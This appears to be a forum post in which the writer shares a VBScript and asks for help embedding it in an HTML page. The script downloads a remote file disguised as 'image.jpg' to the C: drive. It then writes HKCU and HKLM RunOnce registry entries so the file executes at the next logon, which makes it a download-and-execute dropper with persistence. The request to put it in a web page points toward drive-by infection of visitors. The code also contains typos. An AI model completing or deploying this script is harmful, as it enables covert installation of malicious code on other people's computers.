this is vbs file
end working Ok.
I need help to implement this into HTML page
thanks
************************************************** ******
mageFile = "image.jpg"
DestFolder = "C:\image.jpg"
URL = "http://www.com/image.jpg"

Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", URL, False
xml.Send

set oStream = createobject("Adodb.Stream")
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1

oStream.type = adTypeBinary
oStream.open
oStream.write xml.responseBody

' Do not overwrite an existing file
oStream.savetofile DestFolder & ImageFile, adSaveCreateNotExist

' Use this form to overwrite a file if it already exists
' oStream.savetofile DestFolder & ImageFile, adSaveCreateOverWrite

oStream.close

set oStream = nothing
Set xml = Nothing

set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Ru nOnce", 1,"REG_BINARY"
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Ru nOnce\txt", "c:\image.jpg", "REG_SZ"
WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru nOnce", 1,"REG_BINARY"
WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru nOnce\txt", "c:\image.jpg", "REG_SZ"
************************************************** **************
THANKS in Advance